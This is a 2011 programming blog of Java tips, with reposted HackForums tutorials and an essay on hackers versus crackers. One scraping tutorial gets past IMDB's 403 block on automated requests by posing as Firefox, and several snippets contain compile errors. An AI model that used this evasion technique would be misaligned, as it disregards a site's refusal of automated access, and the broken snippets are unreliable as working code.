Software and Security

New Startup Firm - DeduXion

2011-07-03T09:48:00.000-07:00

I'm proud to announce that today I launched the new website for DeduXion.

We will be posting new projects and developments along the way, so stay tuned in ;)

Q

@DeduXion is almost founded!

2011-06-07T15:30:00.000-07:00

Hey everyone

I'm happy to announce that our start-up firm "DeduXion" is almost founded.
DeduXion will be a company that will make software for small and medium-sized construction companies to support their paperwork and inventory systems. We already created some modules in Java for our internship at a construction company, but realized that there could be a bright future in front of us if we actually sold the products.

We just have to fill in some papers and contracts and we're good to go. I'll be keeping you posted on projects and findings. We're going to use some agile developing techniques that seem to be quite effective for smaller IT-companies.

Hope to see you soon!

@Deduxion

[Java] Start Amount of Threads depending on Available Cores

2011-04-13T05:05:00.000-07:00

Parallel threading depending on Amount of Cores

Here's a small snippet to keep in mind when you're programming and you've got to do some parallel computing.

static void test() {
int n = Runtime.getRuntime().availableProcessors();
System.out.println(n);
for (int i=0; i<n; i++) {
Thread(new Runner()).start();
}
}

It's not recommended to start your threads like this (I'd suggest an ExecutorService for it), but it's something to remember ;)

Qkyrie

[Java] Execute a terminal-command in Java

2011-04-13T04:12:00.000-07:00

Here's an easy way to implement command calls in Java. The program prints the response from the CLI.

import java.io.*;

public class TestExec {

public static void main(String[] args) {

try {

Process p = Runtime.getRuntime().exec("cmd /C dir");

BufferedReader in = new BufferedReader(

new InputStreamReader(p.getInputStream()));

String line = null;

while ((line = in.readLine()) != null) {

System.out.println(line);

}

} catch (IOException e) {

e.printStackTrace();

}

Qkyrie

Web Designers vs Web Developers - Infograph

2011-04-12T00:43:00.001-07:00

Totally had a big laugh when I saw this one. Especially for us, coders, this is really, like, striking.

Web Designers vs Web Developers is brought to you by Wix.com
Use creative design to make a Free Website
You are most welcome to share this infographic with your audience.

[Java] Format a Float @ 2 decimals precision

2011-04-08T07:08:00.000-07:00

Here's a small code example of how you could format a float to be displayed at 2 decimals precision (only when necessary).

import java.text.NumberFormat;
...
NumberFormat nf = NumberFormat.getInstance();
nf.setMaximumFractionDigits(2);
nf.setMinimumFractionDigits(0)

To actually format a float, one could simply do:

nf.format(myFloat);

It's as simple as that ;)

@Qkyrie

[Java] Resizing a BufferedImage

2011-04-06T01:05:00.000-07:00

Here's a small piece of code that might aid you in resizing a BufferedImage. Most methods I saw on the internet just took the BufferedImage and resized it to fit the screen. This method will return a new bufferedImage with the new width and height.

public static BufferedImage resize(BufferedImage img, int newW, int newH) {
int w = img.getWidth();
int h = img.getHeight();
BufferedImage dimg = dimg = new BufferedImage(newW, newH, img.getType());
Graphics2D g = dimg.createGraphics();
g.setRenderingHint(RenderingHints.KEY_INTERPOLATION, RenderingHints.VALUE_INTERPOLATION_BILINEAR);
g.drawImage(img, 0, 0, newW, newH, 0, 0, w, h, null);
g.dispose();
return dimg;
}

New Project - EmailCrawler in JavaFX With JScrape.

2011-04-04T14:31:00.000-07:00

This week I decided to port my gui from my emailcrawler I had written before
(In pure Java) to JavaFX.

Unfortunately, I wasn't satisfied with the code I had written over a year ago.
I easily discovered that, a year ago, I wasn't able to write a single class without
making obvious epic failures.

That's why I decided to use my JScrape framework to create an entirely new project.

Release 1 is soon to come. I reckon by friday.

I'll keep in touch

Qkyrie

Performance Showdown - Map<K,V> vs. List<T> Java

2011-04-01T09:22:00.000-07:00

Time for another showdown. This time, it's the Java Map Interface vs the List Interface. In what cases are Maps faster than Lists?

Accessing complexity

Actually, if you don't want to entirely read this article, you should know that in almost all cases accessing a list is faster.

When you're accessing a hashmap, you'll first create a hash representation of your key, get to the right "bucket" and then get the value from an implemented list, whereas accessing a value from an ArrayList will merely fetch the value from the list.

After this fact, you might not want to use Maps, but don't worry, there's more..

Two Entirely Different Datastructures

You should never forget that both Map and List are two entirely different datastructures, each with its own advantages.

For example, the keys for a Map aren't linear. Anything can be the key, which becomes very handy when dealing with Strings as keys.

Remember this:

If you need a List, use a list. If you need a Map, use a Map. If at any time you can pick one of both data structures - for example when dealing with consecutive Integers as keys - you're probably better off picking the ArrayList implementation.

But there's more

Remember ArrayList isn't the only List implementation! Choosing the right interface is a first step to choosing the right datastructure, but sometimes a lot of performance can be gained by using another implementation of the chosen interface.

If you frequently add elements to the beginning of a List or iterate over the List to delete elements from its interior, you should consider using LinkedList.

Lists: ArrayLists, LinkedList, Vector (synchronised list)
Maps: HashMap, TreeMap, LinkedHashMap

Finally, there's also a Set interface, used when you don't need access by key, and want to use methods like "contains()"

Sets: HashSet, TreeSet, LinkedHashSet

Comments
If you'd like to add something to this, or you want to correct me on something, feel free to leave a comment below or on my twitterpage!

@Qkyrie and David

Desktop Application Vs. Web Applications

2011-03-30T08:39:00.000-07:00

Ok, here's the deal. I love web applications, there's no doubt about that. I like working with Java EE, even Rich Internet Applications like silverlight apps belong to technologies I adore, but due to recent events, I'd like to point out why desktop applications aren't likely to entirely disappear.

Security

When dealing with information that should never be leaked anywhere, BI for example, you should really watch out creating web applications.

Web applications are all fun and games until information gets leaked. If you create a web application, security should be one of your main concerns

Speed

Sometimes you're dealing with a large amount of data. You'll have to keep the difference in mind between traffic and server load.
If you create a pure webbapplication as a thin client, you'll create a massive server load (of course, only when you use a lot of information). On the other hand, if you create a thick client, you'll be having a lot of traffic. Try using a system that inherits both features.

Connectivity

What if the website is down?
Ok, you might say the same thing when using a normal client-server + backend database model. Though, one must not forget, if you host a webapplication, 9 out of 10 times it is hosted on an external server, by a third party. Client/Server models will run on mostly internal clients and servers. Therefore, you have more control over your projects.

Cost

Everything is related to money, creating money and avoiding spending it. First of all, hosting a webapplication can become pricy for what it actually is. Some older server can't handle an advance web application server (not talking php, more .net here). Sometimes it's just cheaper to build a small client-server java model, which uses a minimum amount of server resources. You'll have to check what the advantages are against buying new hardware or hosting it somewhere else.

Leave comments or additional reasons if you have any. I'll make revisions if you keep posting opinions ;).

~ Qkyrie

[Java] changing font size of JLabel

2011-03-27T07:32:00.000-07:00

Change the fontsize of a jLabel.

Here's a very short example on how to change the size in a jLabel.

Of course, to do this, you'll have to include the Font class.

Code:
import java.awt.Font;

Here's the short code to change only the size!

Code:
Font curFont = myLabel.getFont();

myLabel.setFont(new Font(curFont.getFontName, curFont.getStyle, 18));

@Qkyrie

[Java] Set System Look and Feel

2011-03-25T14:30:00.000-07:00

What is the Java "Look And Feel"

The architecture of Swing is designed so that you may change the "look and feel" (L&F) of your application's GUI (see A Swing Architecture Overview). "Look" refers to the appearance of GUI widgets (more formally, JComponents) and "feel" refers to the way the widgets behave.

Set the system Look and Feel

public static void main(String[] args) {
try {
// Set System L&F
UIManager.setLookAndFeel(
UIManager.getSystemLookAndFeelClassName());
}
catch (UnsupportedLookAndFeelException e) {
// handle exception
}
catch (ClassNotFoundException e) {
// handle exception
}
catch (InstantiationException e) {
// handle exception
}
catch (IllegalAccessException e) {
// handle exception
}

//program
}

@Qkyrie

Online #ProxyScraper, based on the #JScrape Framework.

2011-03-24T14:26:00.000-07:00

Free ProxyScraper

So here's a little project I created in a small timespan. It was simply because someone wanted an automated proxyscraper. Simply to be able to prove it to that person, I created this PoC RIA.

This project will be updated, not sure when, but I keep updating my projects from time to time. You can follow @Qkyrie to see how my projects evolve.

This application was written with a Java FX frontend and a Java backend using the jscrape framework .

It is possible I'll be posting some small bits of code to show you how to fix some Java FX things, but I'm not really a master at creating RIA's, so it might take some time before I have the time.

You'll have to accept the Java certificate to make it trusted, but don't fear, it's not a Java drive by. You can download the source code ;)

@Qkyrie

[Java] Extracting information from websites - IMDB example

2011-03-22T13:06:00.000-07:00

Disclaimer: this tutorial was not written by me, Qkyrie. In fact, it was written by Deque, a high-quality member on hackforums.net.

What am I about to learn from this tutorial?

The first part covers the search after movietitles in IMDB. Because websites are heterogeneous and can't be treated with the same code, I particularly give attention how you will find solutions for similar problems. With this you should be able to write your own filterprograms.

Which requirements are there to understand this tutorial?

I assume that you are an light advanced Java programmer. You should have previous knowledge with stringhandling and streams. Advanced OOP knowledge is not necessary.

I recommend to work through this tutorial for string manipulation, if you have problems with it: http://www.esus.com/docs/GetIndexPage.jsp?uid=224

For network streams look at this site: http://oreilly.com/catalog/javaio/chapter/ch05.html

How do I use a search engine with Java?

I suggest you first view the site whose data you want to get. How does the URL look like after starting a search? What are the parameters given through the URL? In case of IMDB a searchstring may look like this: http://www.imdb.com/find?s=all&q=die+hard

After s= follows a searchoption. s=all searches for all, that the database can give you, e.g. actors, characters. If you want to limit your search to movietitles, you have to set s=tt(you figure this out by trying). q stands probably for query. That's where you have to put your searchstring in which single words are divided by +.

Searching with google after a solution, you may find something like that:
http://www.iks.hs-merseburg.de/~uschroet...8b320dcd1e

Code:
package com.tutego.insel.net;

import java.net.URL;

import java.net.URLEncoder;

import java.util.Scanner;

public class YahooSeeke

{

public static void main( String... args ) throws Exception

  {

    String search = "the green mile";

    if ( args.length > 0 )

    {

  search = args[ 0 ];

  for ( int i = 1; i < args.length; i++ )

    search += " " + args[ i ];

    }

   search = "p=" + URLEncoder.encode( search.trim(), "UTF-8" );

   URL u = new URL( "http://de.search.yahoo.com/search?" + search );

   String r = new Scanner( u.openStream() ).useDelimiter( "\\Z" ).next();

   System.out.println( r );

}

}

This works fine with the given example. But if you try to use http://www.imdb.com/find? instead of the yahoo-address you will be blocked. You get this message:
Server returned HTTP response code: 403

Looking up the meaning of the response code (e.g. google "HTTP response code"), we get this answer: http://www.w3.org/Protocols/rfc2616/rfc2616-sec10.html

Quote:10.4.4 403 Forbidden
The server understood the request, but is refusing to fulfill it. Authorization will not help and the request SHOULD NOT be repeated. If the request
method was not HEAD and the server wishes to make public why the request has not been fulfilled, it SHOULD describe the reason for the refusal in
the entity. If the server does not wish to make this information available to the client, the status code 404 (Not Found) can be used instead.

Since we are not allowed to get access, we search for an IMDB API. Not every search engine provides an API, because most of them don't want to allow automatic searches. There is also no API for IMDB, but we are allowed to download text data files: http://www.imdb.com/interfaces
It is not easy handling these text files and it is an disproportional effort for a little program. Therefore we find APIs from other people to make this work easier, e.g.:http://www.deanclatworthy.com/imdb/
With the aid of this webservice you are able to do a search through changing two lines of code:

Code:
search = "q=" + URLEncoder.encode(search.trim(), "UTF-8");

        URL u = new URL("http://www.deanclatworthy.com/imdb/?" + search);

The output will look like this:

Quote:{"title":"The Green Mile","imdburl":"http:\/\/www.imdb.com\/title\/tt0120689\/","country":"USA","languages":"English ,French","genres":"Crime,Drama,Fantasy,
Mystery","rating":"8.4","votes":"211313","usascreens":2875,"ukscreens":340,"year":"1999",
"stv":0,"series":0}

We can gather a lot of information with some string processing. But we get not more than text and we have to trust that this service will be continued. It would be much better to get direct access to IMDB.

We use the class URLConnection now. Samplecode and explainings are on this site: http://download.oracle.com/javase/tutori...iting.html

Code:
public static void testSearch() {

    BufferedReader in = null;

    try {

        URL url = new URL("http://www.imdb.de/find?s=tt&q=die+hard");

        URLConnection urlc;

        urlc = url.openConnection();

        in = new BufferedReader(new InputStreamReader(urlc.getInputStream()));

        String inputLine;

        while ((inputLine = in.readLine()) != null)

            System.out.println(inputLine);

    } catch (IOException e) {

        e.printStackTrace();

    } finally {

        try {

            in.close();

        } catch (IOException e) {

            e.printStackTrace();

        }

    }

}

Again we get the response code 403. But we know that the common browsers somehow get access to it. For this reason we pretend to be Firefox:

Code:
urlc.addRequestProperty("user-agent", "Firefox");

Our method looks like this now:

Code:
public static void testSearch() {

    BufferedReader in = null;

    try {

        URL url = new URL("http://www.imdb.de/find?s=tt&q=die+hard");

        URLConnection urlc;

        urlc = url.openConnection();

        urlc.addRequestProperty("user-agent", "Firefox");

        in = new BufferedReader(new InputStreamReader(urlc.getInputStream()));

        String inputLine;

        while ((inputLine = in.readLine()) != null)

            System.out.println(inputLine);

    } catch (IOException e) {

        e.printStackTrace();

    } finally {

        try {

            in.close();

        } catch (IOException e) {

            e.printStackTrace();

        }

    }

}

Et voila, it's working. The output is the source code. Try it out, if you want to see it. I won't post it since the source code is pretty much.

How do I extract information out of the source code?

Nice to have an output, but it is not as good conditioned as the IMDB-API-output. Let's have a look on a search-query with Firefox. We visit http://www.imdb.com/ and search after "die hard". There are several results. Rightclick and choose showing the source code of the site. By pressing Strg-F we look after the striking string "Popular Titles " and are able to localize it in line 499.
Alternatively you can mark the text in your browser and choose to show the selected text after rightclick.

The following shows the beginning of line 499 till the first searching result in the source code:

Code:
<p><b>Popular Titles</b> (Displaying 5 Results)<table><tr> <td valign="top"><a href="/title/tt0095016/" onClick="(new Image()).src='/rg/find-

tiny-photo-1/title_popular/images/b.gif?link=/title/tt0095016/';"><img src="http://ia.media-imdb.com/images

/M/MV5BMTIxNTY3NjM0OV5BMl5BanBnXkFtZTcwNzg5MzY0MQ@@._V1._SY30_SX23_.jpg" width="23" height="32" border="0"></a>&nbsp;</td><td

align="right" valign="top"><img src="/images/b.gif" width="1" height="6"><br>1.</td><td valign="top"><img src="/images/b.gif" width="1" height="6">

<br><a href="/title/tt0095016/" onclick="(new Image()).src='/rg/find-title-1/title_popular/images/b.gif?link=/title/tt0095016/';">Stirb langsam</a>

(1988) <p class="find-aka">aka "Die Hard"&nbsp;- USA <em>(original title)</em></p>

For gathering information you have to look for characteristic signs of a title in the source code. Firstly the search results are in this line that contains the string "Popular Titles ". So you are able to narrow your search. Secondly you have to filter the titles itself. Those are links and bounded by <a href></a>. But you can't get them by the link-tag alone, because the corresponding pictures have links too. But we recognize, if there is an image-tag between <a href...></a> or a simple string.

Armed with this deliberations we create our first filtermethods for testing and let our program give the results for several search-queries.

Using the method contains() we find the line involving "Popular Titles ".

Code:
public void testSearch() {

    BufferedReader in = null;

    try {

        ...

        //as lons as lines are there

        while ((inputLine = in.readLine()) != null) {

            //check whether the string is in it

            if (inputLine.contains("Popular Titles")) {

                System.out.println(inputLine);

            }

        }

    } catch (IOException e) {

        ...

}

Below I introduce several methods for string processing we will use for our task.

This method looks for a character c in a string string. The search begins at index start. After finding the character, this method will return the index of it.

Code:
private Integer getIndexOfChar(String string, char c, int start) {

    Integer index = null;

    for (int i = start; i < string.length(); i++) {

        if (string.charAt(i) == c) {

            index = i;

            break;

        }

    }

    return index;

}

getSubString() uses the method above to determine a substring. The substring ranges from the character from to the character to (first occurrence is relevant).

Code:
private String getSubString(String string, char from, char to) {

    String sub;

    Integer beginIndex = getIndexOfChar(string, from, 0);

    if (beginIndex == null) {

        System.err.println("BeginIndex not found");

        return null;

    }

    Integer endIndex = getIndexOfChar(string, to, beginIndex + 1);

    if (endIndex == null) {

        System.err.println("EndIndex not found");

        return null;

    }

    sub = string.substring(beginIndex + 1, endIndex);

    return sub;

}

The method below proves whether the chararray input begins with the string compare at a given index.

Code:
private boolean containsCompareAtIndex(char[] compare, char[] input, int index) {

  //check wether the lenght of the rest input is enough

    if(compare.length > input.length - index){

        return false;

    }

  //check for inequality

    for (int j = 1; j < compare.length; j++) {

        if (compare[j] != input[++index]) {

            return false;

        }

    }

    return true;

}

getCompareIndex() returns the index from which the string input contains the string compare.

Code:
private Integer getCompareIndex(char[] compare, char[] input) {

    Integer compareIndex = null;

    for (int i = 0; i < input.length; i++) {

        if (input[i] == compare[0] && containsCompareAtIndex(compare, input, i)) {

            compareIndex = i;

            break;

        }

    }

    return compareIndex;

}

This method is our goal. getTitles() provides the list with the titles that can be found in inputLine (look up the comments for explanation).

Code:
private List<String> getTitles(String inputLine) {

    List<String> titles = new LinkedList<String>();

    char[] compare = "<a href".toCharArray();

    Integer titleBeginIndex = null;

    do {

        char[] input = inputLine.toCharArray();

        titleBeginIndex = getCompareIndex(compare, input);

        if (titleBeginIndex != null) { // probably a title was found

            //cuts inputLine till the beginning "<a href"

            inputLine = inputLine.substring(titleBeginIndex + 1);

            //determines the substring between '>' and '<'

            String title = getSubString(inputLine, '>', '<');

            //if this substring is empty, it won't be added to the list

            if (!title.equals("")) {

                titles.add(title);

            }

        }

    //go on with it until no more titles can be found

    } while (titleBeginIndex != null);

    return titles;

}

Now we should test our code. For doing this, we have to edit our testSearch() method:

Code:
public void testSearch() {

        BufferedReader in = null;

        List<String> titles = new LinkedList<String>();

        try {

            ...

            while ((inputLine = in.readLine()) != null) {

                if (inputLine.contains("Popular Titles")) {

        titles.addAll(getTitles(inputLine));

                }

            }

            for (String string : titles) {

                System.out.println(string);

            }

        } catch (IOException e) {

            ...

    }

Those are the results for "blair witch":

Quote:Blair Witch Project
Book of Shadows: Blair Witch 2

That seems to be quite good. But there are still failings. Several movies with the same title are only able to be distinguished by their year which is not filtered now. Titles with special characters are not displayed right. But for the first part it should be enough.

Deque

[Java] taking screenshots

2011-03-21T12:40:00.000-07:00

Disclaimer: this is in fact not a tutorial written by me, Qkyrie. Instead, it was written by Vanquish from hf.net.

Source

Using the Robot class you can capture portions of your screen. Supports the four main image formats (PNG, JPG, GIF, BMP) maybe more.

Code:
/**

* Class By: Vanquish from HackForums.Net

* Date: March 19th/2011

*/

//Imports

import java.io.File;

import java.io.IOException;

import javax.imageio.ImageIO;

import java.awt.image.BufferedImage;

import java.awt.*;

public class ScreenCapture

{

    //Fields

    private Robot provider;

    private Toolkit tools;

    private boolean deniedAccess;

    //Constructor

    public ScreenCapture()

    { //initialize the fields

  try{

    provider = new Robot();

    tools = Toolkit.getDefaultToolkit();

  } catch (AWTException ex) { deniedAccess = true; } //Permission denied for screen shots.

    }

    //Capture image here

    private BufferedImage captureScreen(Rectangle bounds)

    {

  return provider.createScreenCapture(bounds);

    }

    //Writes the image to the HDD.

    private boolean writeImage(BufferedImage image, String filePath){

  try{

    String imgFormat = filePath.substring(filePath.lastIndexOf(".") + 1).toLowerCase();

    ImageIO.write(image, imgFormat, new File(filePath));

    return true;

  } catch (IOException ex) { return false; }

    }

    /* This is for another project of mine.

    public BufferedImage rawImage(int delay)

    {

  try{

    Thread.sleep(delay);

    return captureScreen(

    new Rectangle(tools.getScreenSize()));

  } catch (InterruptedException ex) { return null; }

    }

    */

    /**

  * Captures the entire screen.

  * @param   filePath    The path to save the image to.

  * @return  Returns true if the image was captured and saved, otherwize false.

  */

    public boolean takeShot(String filePath)

    {

  if (deniedAccess)  //permission check

    return false;

  return writeImage(captureScreen(

    new Rectangle(tools.getScreenSize())), filePath);

    }

    /**

  * Captures an area of the screen from the orign of the monitor (upper left) to the specified width and height.

  * @param   width   The horizontal length of the image.

  * @param   height  The vertical    length of the image.

  * @param   filePath    The path to save the image to.

  * @return  Returns true if the image was captured and saved, otherwize false.

  */

    public boolean takeShot(int width, int height, String filePath)

    {

  if (deniedAccess)

    return false;

  return writeImage(captureScreen(

    new Rectangle(width, height)), filePath);

    }

    /**

  * Captures an area of the screen within the specified bounds.

  * @param   bounds  The rectangle portion to the screen to capture.

  * @param   filePath    The path to save the image to.

  * @return  Returns true if the image was captured and saved, otherwize false.

  */

    public boolean takeShot(Rectangle bounds, String filePath)

    {

  if (deniedAccess)

    return false;

  return writeImage(captureScreen(bounds), filePath);

    }

    /**

  * Captures an area of the screen from the specified x and y coordinates to the width and height.

  * @param   x   The x-coordinate of the bounds.

  * @param   y   The y-coordinate of the bounds.

  * @param   width   The horizontal length of the image.

  * @param   height  The vertical    length of the image.

  * @param   filePath    The path to save the image to.

  * @return  Returns true if the image was captured and saved, otherwize false.

  */

    public boolean takeShot(int x, int y, int width, int height, String filePath)

    {

  if (deniedAccess)

    return false;

  return writeImage(captureScreen(

    new Rectangle(x, y, width, height)), filePath);

    }

}

[Java] Encryption and Decryption with JCE

2011-03-21T12:37:00.000-07:00

First of all, this is not a tutorial written by me, Qkyrie. It was in fact written by Deque on HF.net. I found this being a useful post and thought I'd present it to a public that doesn't want to create accounts on Hackforums.net :)

This code shows you how to use parts of the Java Cryptography Extension (JCE) to encrypt and decrypt messages.

The program takes three arguments that specify the algorithm for key generation (the first), message transformation (the second) and the key size (the third). The key is generated. If no argument is given it uses AES AES 128 as default.

Code:
import java.security.InvalidKeyException;

import java.security.InvalidParameterException;

import java.security.NoSuchAlgorithmException;

import java.security.Provider;

import java.security.Security;

import java.util.HashSet;

import java.util.Scanner;

import java.util.Set;

import javax.crypto.BadPaddingException;

import javax.crypto.Cipher;

import javax.crypto.IllegalBlockSizeException;

import javax.crypto.KeyGenerator;

import javax.crypto.NoSuchPaddingException;

import javax.crypto.SecretKey;

import javax.crypto.spec.SecretKeySpec;

public class EnDecryption {

    private final Cipher cipher;

    private final SecretKeySpec spec;

    public static void main(String[] args) throws Exception {

        printAvailableServices("Cipher");

        printAvailableServices("KeyGenerator");

        String keyAlgorithm = args.length <= 0 ? "AES" : args[0];

        String transformation = args.length <= 1 ? "AES" : args[1];

        try {

            int keysize = Integer.parseInt(args.length <= 2 ? "128" : args[2]);

            System.out.println("Program instantiated with " + keyAlgorithm

                    + " as key generating algorithm, " + transformation

                    + " as transformation algorithm and " + keysize

                    + " as key size.\n");

            Scanner scanner = new Scanner(System.in);

            System.out.println("Your message: ");

            String message = scanner.nextLine();

            EnDecryption d = new EnDecryption(keysize, keyAlgorithm,

                    transformation);

            byte[] encryptedMsg = d.encrypt(message);

            byte[] decryptedMsg = d.decrypt(encryptedMsg);

            System.out.println("\nencrypted message: "

                    + convertToHex(encryptedMsg));

            System.out.println("decrypted message as Hex: "

                    + convertToHex(decryptedMsg));

            System.out.println("decrypted message as String: "

                    + new String(decryptedMsg));

        } catch (NoSuchAlgorithmException e) {

            System.err.println("wrong algorithm input\n" + e.getMessage());

        } catch (NoSuchPaddingException e) {

            System.err.println("wrong padding input\n" + e.getMessage());

        } catch (NumberFormatException e) {

            System.err.println("third argument for key size is not a number\n"

                    + e.getMessage());

        } catch (InvalidParameterException e) {

            System.err.println(e.getMessage());

        } catch (InvalidKeyException e) {

            System.err.println(e.getMessage());

        }

    }

    public EnDecryption(int keysize, String algorithm, String transformation)

            throws NoSuchAlgorithmException, NoSuchPaddingException {

        KeyGenerator keygen = KeyGenerator.getInstance(algorithm);

        keygen.init(keysize);

        SecretKey skey = keygen.generateKey();

        spec = new SecretKeySpec(skey.getEncoded(), algorithm);

        cipher = Cipher.getInstance(transformation);

    }

    private byte[] decrypt(byte[] msg) throws InvalidKeyException,

            IllegalBlockSizeException, BadPaddingException {

        cipher.init(Cipher.DECRYPT_MODE, spec);

        return cipher.doFinal(msg);

    }

    private byte[] encrypt(String msg) throws InvalidKeyException,

            IllegalBlockSizeException, BadPaddingException {

        cipher.init(Cipher.ENCRYPT_MODE, spec);

        return cipher.doFinal(msg.getBytes());

    }

    public static String convertToHex(byte array[]) {

        StringBuilder buffer = new StringBuilder();

        for (int i = 0; i < array.length; i++) {

            if ((array[i] & 0xff) < 0x10)

                buffer.append("0");

            buffer.append(Integer.toString(array[i] & 0xff, 16));

        }

        return buffer.toString();

    }

    public static Set<String> getCryptImplementations(String serviceType) {

        Set<String> result = new HashSet<String>();

        for (Provider provider : Security.getProviders()) {

            Set<Object> keys = provider.keySet();

            for (Object k : keys) {

                String key = ((String) k).split(" ")[0];

                if (key.startsWith(serviceType + ".")) {

                    result.add(key.substring(serviceType.length() + 1));

                } else if (key.startsWith("Alg.Alias." + serviceType + ".")) {

                    result.add(key.substring(serviceType.length() + 11));

                }

            }

        }

        return result;

    }

    public static void printAvailableServices(String service) {

        boolean first = true;

        System.out.println("List of available " + service + "s");

        for (String s : getCryptImplementations(service)) {

            System.out.print(first ? s : ", " + s);

            first = false;

        }

        System.out.println();

        System.out.println();

    }

}

Sample output:

Quote:List of available Ciphers
OID.1.2.840.113549.1.12.1.6, Blowfish, DESedeWrap, Rijndael, DESede, ARCFOUR, PBEWithSHA1AndDESede, PBEWithSHA1AndRC2_40, RC2, RC4, RSA, AESWrap, PBEWithMD5AndTripleDES, OID.1.2.840.113549.1.12.1.3, DES, AES, 1.2.840.113549.1.12.1.6, OID.1.2.840.113549.1.5.3, 1.2.840.113549.1.12.1.3, RSA/ECB/PKCS1Padding, 1.2.840.113549.1.5.3, TripleDES, PBEWithMD5AndDES

List of available KeyGenerators
Blowfish, Rijndael, DESede, HmacMD5, SunTlsKeyMaterial, ARCFOUR, RC2, RC4, HmacSHA384, HmacSHA256, SunTlsMasterSecret, DES, SunTlsRsaPremasterSecret, AES, HmacSHA512, HmacSHA1, TripleDES, SunTlsPrf

Program instantiated with AES as key generating algorithm, AES as transformation algorithm and 128 as key size.

Your message:
Hello Hackforums

encrypted message: 4d7c6c8833b9d90694542568b9e18e1199d4906aac5edec43f5a3ae3dd909480
decrypted message as Hex: 48656c6c6f204861636b666f72756d73
decrypted message as String: Hello Hackforums

Deque

What is a hacker - a basic misunderstanding!

2011-03-21T12:28:00.000-07:00

›What is A Hacker?

A hacker is known to build things, solve problems and not break or crack any system. The computer industry initially hired good programmers to make sure how to full proof their system. However, over the years, the media, journalism and writers have played a very important role in changing the real meaning of the word hacker. They themselves are very confused in the term Hacker and a Cracker. A typical definition of a Hacker, that today comes to you mind is that a Hacker, is a person who tries to gain unauthorized access to any property and computers. The term Hacker came as slang from the computer world. So, different people have given different definitions to it. But what remains the common point is, that whenever you hear the word hacker, the first think that comes to your mind is always negative and bad. However, the real meaning of a hacker is a programmer who really finds it thrilling to learn more about it, who likes to explore more details about the programming language and hence stretches his or her capabilities more than any average person.

Crackers are people who get cheap thrill out of cracking computer codes, and breaking into systems. Hence, these are the people who have negativity around them and they only believe in breaking or cracking an access to any kind of system that they have no authorization to. They are malicious annoying people who try to uncover sensitive information by poking their unwanted nose everywhere. Hackers on the other hand are knowledgeable and responsible people. They like to take intellectual challenges and like to overcome all limitations that are there in a particular system. Learning to hack is not very easy. It is a special gift that is only given to a selected few. Only people who are good in searching and keeping themselves updated about the latest technology are the one who are blessed with it. Only being good with computers does not qualify one to be a good hacker. Some people also reapply their hacking knowledge to different fields like music and electronic. It is also said the every hacker is independent of any kind of hack he does, call it in the computer field or elsewhere. Hackers are known to be ethical, wise in their practice.

The reality is: 'Hackers build things, crackers break them.'

Today the hacker world has been given 3 different names. The White hat hackers, who do all the good things and are positively motivated people, Then we have the Black hat hackers also called the crackers who are usually into negative work of cracking and breaking into someone's system and finally the third and the last are the grey hat hackers who explore the best of both the worlds. To conclude, we can say that Hackers are people who are skilled programmers that work for a positive cause or a goal, either for themselves or for an organization which could be private as in an industry or for the government.

›Thinking of A Hacker

The thinking of a hacker is very much the same as that of a good program developer. Hackers who have been successful have developed a common strategy over a period of time. This strategy is to very patiently and carefully document every step, which is what the programmers do. They are good at analyzing and following a methodical approach of investigation. So when they start they don't have much as in the background, they start from the starch and gradually build what is called the entire roadmap or game plan.

It is a known fact that in order to think like a master hacker one should imitated all the big hackers both intellectually and emotionally. As they always work on a different platform and it is the platform of Self Belief.

1. The typical thinking of a Hacker is that, they believe that the world is full of ongoing problems which continuously need solutions to it. So looking for solutions should be the ultimate aim and not giving up till the time the problem is cracked.

2. Another fundamental that they work on is that, the same wheel should not be invented twice as it will be a waste of time and effort both. Brains with creativity should be used for new proposes and not older ones. So, they believe in the theory that time is precious and make the best out of it.

3. The third fundamental truth that they believe in is that, repetition is what leads to success and no word like boredom can be found in their dictionary.

4. The next good thing they believe in is Freedom. Most of the hackers work independently and that is a strong foundation for them to grow. It is said that freedom has no limit to the growth of an individual.

5. No replacement for a good attitude. An attitude to fight and not flight. One can give up whenever he or she wants. It is only the attitude that makes you different from the other.

6. Hackers believe in a value system that is not negotiable and do not compromise on it, because if they do then they would be crackers and not hackers.

Documentation is said to be the wisest thing that any developer a simple programmer or a hacker maintains. At times finding solutions is so difficult that is only the documentation that can help one understand the entire process all over again. It is like hunting for a treasure hunt in a jungle with small clues that take you to the next clue and one step closer to the final gift.

source: http://www.hackanonymous.com/

[Java] Basics of Collections

2011-03-20T14:14:00.000-07:00

Java Collections

In this small tutorial, I'll give you some examples on how to use most of the collections in Java. I'm not going in too much detail, I'll just give a brief overview of some nice collections and why you should use them.

Here's the class diagram of the collections. I'll add a Map to that too, which the implementations HashMap and TreeMap, similar to the Set implementations.

List<E>

This is the basic interface for Lists. I mainly use the ArrayList, there's of course also the LinkedList and Vector

Code:
List myList;

myList = new ArrayList(); //create an ArrayList

myList = new LinkedList(); //create a LinkedList

Set

Now, we've got Set, with the extended class SortedSet.
HashSet would be an implementation of Set, and TreeSet one of SortedSet.
Just remember, TreeSet = Sorted

Code:
Set<String> mySet = new HashSet<String>(myList);

Map<k,v>

A Map might be very handy, if you want to store data with a key. For example, we could could store a class "Car" with the key "licensePlate". Or, idNumber, and personal data.

A SortedMap is sorted Interface which implements Set. An implementation of SortedMap would be TreeMap.
Remember, TreeMap = Sorted

Code:
Map<int, String> myMap = new HashMap<int,String>(); //int as key, String as value

myMap.put(1, "Qkyrie"); //put Qkyrie as value, with key 1

myMap.put(2, "Ben121");

myMap.put(3, "SB");

String myName = myMap.get(1) //would place "Qkyrie" in myName.

Properties

A propertiestable could come quite in handy when defining properties for a program. An example is given below.

Code:
//declare property

Properties table = new Properties();

//set properties

table.setProperty("color", "blue");

table.setProperty("programname, "Qryptonite");

//navigate through all properties with a set

Set<Object> keys = table.keySet();

for(Object key: keys)

table.getProperty((String) key);

Iterators

Using Iterators is the best way for navigating through a collection.
some examples are given below:

Print a List Reversed

Code:
private void printReversedList(List<String> list)

{

ListIterator<String> iterator = list.listIterator( list.size() );

System.out.println("\nReversed List:");

while(iterator.hasPrevious() )

System.out.printf("%s", iterator.previous() );

}

Convert a List of Strings all to uppercase.

Code:
private void convertToUppercaseStrings(List<String> list)

{

ListIterator<String> iterator = list.ListIterator();

while( iterator.hasNext() )

{

String color = iterator.next(); //remember, if this wasn't a string -> downcast

iterator.set(color.toUpperCase() );

}//end while

}//end method

ending
If you want some more examples on any collections or Arrays, feel free to ask.

@_Qkyrie_

[Java] Basics of Threading

2011-03-20T14:07:00.000-07:00

Hi, this is the first part of the Threading chapter of my series of tutorials.
